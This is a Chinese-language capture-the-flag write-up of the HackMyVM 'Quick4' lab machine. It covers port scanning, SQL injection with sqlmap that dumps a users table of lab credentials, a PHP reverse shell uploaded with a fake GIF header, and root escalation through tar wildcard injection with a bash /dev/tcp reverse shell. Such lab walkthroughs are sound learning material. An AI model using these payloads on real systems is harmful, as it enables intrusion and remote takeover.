HakcMyVM-Quick4 - 技术栈

信息搜集

主机发现

复制代码

┌──(kali㉿kali)-[~]
└─$ nmap -sn 192.168.2.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 03:19 EDT

Nmap scan report for quick4 (192.168.2.9)
Host is up (0.00028s latency).
MAC Address: 08:00:27:AA:84:13 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for kali (192.168.2.15)
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 43.54 seconds

端口扫描

复制代码

┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-15 03:21 EDT
Nmap scan report for quick4 (192.168.2.9)
Host is up (0.00057s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
MAC Address: 08:00:27:AA:84:13 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.10 seconds

漏洞利用

目录枚举

复制代码

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x html,php,txt,jpg,png,zip,git -u http://192.168.2.9
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt,jpg,png,zip,git
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 276]
/images               (Status: 301) [Size: 311] [--> http://192.168.2.9/images/]                                                          
/index.html           (Status: 200) [Size: 51414]
/.html                (Status: 403) [Size: 276]
/img                  (Status: 301) [Size: 308] [--> http://192.168.2.9/img/]                                                             
/modules              (Status: 301) [Size: 312] [--> http://192.168.2.9/modules/]                                                         
/careers              (Status: 301) [Size: 312] [--> http://192.168.2.9/careers/]                                                         
/css                  (Status: 301) [Size: 308] [--> http://192.168.2.9/css/]                                                             
/lib                  (Status: 301) [Size: 308] [--> http://192.168.2.9/lib/]                                                             
/js                   (Status: 301) [Size: 307] [--> http://192.168.2.9/js/]                                                              
/customer             (Status: 301) [Size: 313] [--> http://192.168.2.9/customer/]                                                        
/404.html             (Status: 200) [Size: 5014]
/robots.txt           (Status: 200) [Size: 32]
/fonts                (Status: 301) [Size: 310] [--> http://192.168.2.9/fonts/]                                                           
/employee             (Status: 301) [Size: 313] [--> http://192.168.2.9/employee/]                                                        
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/server-status        (Status: 403) [Size: 276]
/logitech-quickcam_w0qqcatrefzc5qqfbdz1qqfclz3qqfposz95112qqfromzr14qqfrppz50qqfsclz1qqfsooz1qqfsopz1qqfssz0qqfstypez1qqftrtz1qqftrvz1qqftsz2qqnojsprzyqqpfidz0qqsaatcz1qqsacatzq2d1qqsacqyopzgeqqsacurz0qqsadisz200qqsaslopz1qqsofocuszbsqqsorefinesearchz1.html (Status: 403) [Size: 276]
Progress: 9482032 / 9482040 (100.00%)
===============================================================
Finished
===============================================================

看一下/robots.txt

复制代码

┌──(kali㉿kali)-[~]
└─$ curl http://192.168.2.9/robots.txt
User-agent: *
Disallow: /admin/

/admin是404，/employee得到一个登陆页面

尝试一下SQL注入

复制代码

┌──(kali㉿kali)-[~]
└─$ sqlmap -r sql --batch --dbs
available databases [5]:
[*] `quick`
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
┌──(kali㉿kali)-[~]
└─$ sqlmap -r sql --batch -D quick --tables
Database: quick
[2 tables]
+-------+
| cars  |
| users |
+-------+
┌──(kali㉿kali)-[~]
└─$ sqlmap -r sql --batch -D quick -T cars --dump
Database: quick
Table: cars
[4 entries]
+----+---------+-------+---------+--------+---------------+
| id | user_id | brand | type    | year   | license_plate |
+----+---------+-------+---------+--------+---------------+
| 1  | 4       | Ford  | Mustang | 1963   | ABC123        |
| 2  | 6       | Honda | Civic   | 2012   | DEF456        |
| 3  | 7       | Mazda | mx5     | 2004   | GHIJ56        |
| 4  | 8       | Dodge | RAM1000 | 2020   | KLM789        |
+----+---------+-------+---------+--------+---------------+
┌──(kali㉿kali)-[~]
└─$ sqlmap -r sql -D quick -T users --columns --batch
Database: quick
Table: users
[6 columns]
+-----------------+-------------------------------------+
| Column          | Type                                |
+-----------------+-------------------------------------+
| name            | varchar(255)                        |
| role            | enum('admin','employee','customer') |
| email           | varchar(255)                        |
| id              | int                                 |
| password        | varchar(255)                        |
| profile_picture | varchar(255)                        |
+-----------------+-------------------------------------+
┌──(kali㉿kali)-[~]
└─$ sqlmap -r sql -D quick -T users -C email,password,role --dump --threads=10 --batch
Database: quick
Table: users
[28 entries]
+-----------------------------------+----------+--------------------+
| email                             | role     | password           |
+-----------------------------------+----------+--------------------+
| a.lucky@email.hmv                 | customer | c1P35bcdw0mF3ExJXG |
| andrew.speed@quick.hmv            | employee | o30VfVgts73ibSboUP |
| b.clintwood@email.hmv             | customer | 2yLw53N0m08OhFyBXx |
| coos.busters@quick.hmv            | employee | f1CD3u3XVo0uXumGah |
| d.trumpet@email.hmv               | customer | f64KBw7cGvu1BkVwcb |
| dick_swett@email.hmv              | customer | y6KA4378EbK0ePv5XN |
| frank@email.hmv                   | customer | 155HseB7sQzIpE2dIG |
| fred.flinstone@email.hmv          | customer | qM51130xeGHHxKZWqk |
| info@quick.hmv                    | admin    | Qe62W064sgRTdxAEpr |
| j.bond@email.hmv                  | customer | 7wS93MQPiVQUkqfQ5T |
| j.daniels@email.hmv               | customer | yF891teFhjhj0Rg7ds |
| j.doe@email.hmv                   | customer | 0i3a8KyWS2IcbmqF02 |
| jack.black@email.hmv              | customer | 1Wd35lRnAKMGMEwcsX |
| jane_smith@email.hmv              | customer | pL2a92Po2ykXytzX7y |
| jeff.anderson@quick.hmv           | employee | 5dX3g8hnKo7AFNHXTV |
| john.smith@quick.hmv              | employee | 5Wqio90BLd7i4oBMXJ |
| juan.mecanico@quick.hmv           | employee | 5a34pXYDAOUMZCoPrg |
| k.ball@email.hmv                  | customer | k1TI68MmYu8uQHhfS1 |
| lara.johnson@quick.hmv            | employee | 5Y7zypv8tl9N7TeCFp |
| laura.johnson@email.hmv           | customer | 95T3OmjOV3gublmR7Z |
| lee.ka-shingn@quick.hmv@quick.hmv | employee | am636X6Rh1u6S8WNr4 |
| m.monroe@email.hmv                | customer | f64KBw7cGvu1BkVwcb |
| mike.cooper@quick.hmv             | employee | Rh978db3URen64yaPP |
| misty.cupp@email.hmv              | customer | c1P35bcdw0mF3ExJXG |
| n.down@email.hmv                  | customer | Lj9Wr562vqNuLlkTr0 |
| nick.greenhorn@quick.hmv          | employee | C3ho049g4kwxTxuSUA |
| s.hutson@email.hmv                | customer | sF217VruHNj6wbjofU |
| t.green@email.hmv                 | customer | 7zQ19L0HhFsivH3zFi |
+-----------------------------------+----------+--------------------+

用admin权限账号info@quick.hmv，成功登录进后台，发现可以上传头像文件

尝试上传一个反弹shell

复制代码

<?php
$sock=fsockopen("192.168.2.15",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

抓包以后在前面添加一个GIF8;，伪装成图片

复制代码

GIF8;

<?php
$sock=fsockopen("192.168.2.15",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

它是上传到了nick用户，我们切换过去

复制代码

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.15] from (UNKNOWN) [192.168.2.9] 49508
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

权限提升

复制代码

script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@quick4:/var/www/html/employee/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@quick4:/var/www/html/employee/uploads$ sudo -l
sudo -l
[sudo] password for www-data: 

www-data@quick4:/var/www/html/employee$ find / -perm -4000 -type f 2>/dev/null
<ml/employee$ find / -perm -4000 -type f 2>/dev/null
/snap/snapd/19457/usr/lib/snapd/snap-confine
/snap/snapd/20671/usr/lib/snapd/snap-confine
/snap/core20/1974/usr/bin/chfn
/snap/core20/1974/usr/bin/chsh
/snap/core20/1974/usr/bin/gpasswd
/snap/core20/1974/usr/bin/mount
/snap/core20/1974/usr/bin/newgrp
/snap/core20/1974/usr/bin/passwd
/snap/core20/1974/usr/bin/su
/snap/core20/1974/usr/bin/sudo
/snap/core20/1974/usr/bin/umount
/snap/core20/1974/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1974/usr/lib/openssh/ssh-keysign
/snap/core20/2105/usr/bin/chfn
/snap/core20/2105/usr/bin/chsh
/snap/core20/2105/usr/bin/gpasswd
/snap/core20/2105/usr/bin/mount
/snap/core20/2105/usr/bin/newgrp
/snap/core20/2105/usr/bin/passwd
/snap/core20/2105/usr/bin/su
/snap/core20/2105/usr/bin/sudo
/snap/core20/2105/usr/bin/umount
/snap/core20/2105/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2105/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/fusermount3
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/chsh
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
www-data@quick4:/var/www/html/employee$ getcap -r / 2>/dev/null
getcap -r / 2>/dev/null
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/snap/core20/2105/usr/bin/ping cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
//发现每分钟执行一次/usr/local/bin/backup.sh
www-data@quick4:/var/www/html/employee$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
*/1 *   * * *   root    /usr/local/bin/backup.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

www-data@quick4:/var/www/html/employee$ ls -la /usr/local/bin/backup.sh
ls -la /usr/local/bin/backup.sh
-rwxr--r-- 1 root root 75 Feb 12  2024 /usr/local/bin/backup.sh
//tar使用通配符，文件名被当成tar参数解析
www-data@quick4:/var/www/html/employee$ cat /usr/local/bin/backup.sh
cat /usr/local/bin/backup.sh
#!/bin/bash
cd /var/www/html/
tar czf /var/backups/backup-website.tar.gz *
www-data@quick4:/var/www/html/employee$ cd /var/www/html/
cd /var/www/html/
//创建恶意文件
www-data@quick4:/var/www/html$ touch -- "--checkpoint=1"
touch -- "--checkpoint=1"
www-data@quick4:/var/www/html$ touch -- "--checkpoint-action=exec=bash shell.sh"
<$ touch -- "--checkpoint-action=exec=bash shell.sh"
//写入反弹shell
www-data@quick4:/var/www/html$ echo "bash -i >& /dev/tcp/192.168.2.15/1234 0>&1" > shell.sh
<h -i >& /dev/tcp/192.168.2.15/1234 0>&1" > shell.sh
www-data@quick4:/var/www/html$ chmod +x shell.sh
chmod +x shell.sh
//执行时会变为tar czf ... --checkpoint=1 --checkpoint-action=exec=bash shell.sh *
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.2.15] from (UNKNOWN) [192.168.2.9] 33590
bash: cannot set terminal process group (61796): Inappropriate ioctl for device
bash: no job control in this shell
root@quick4:/var/www/html# id
id
uid=0(root) gid=0(root) groups=0(root)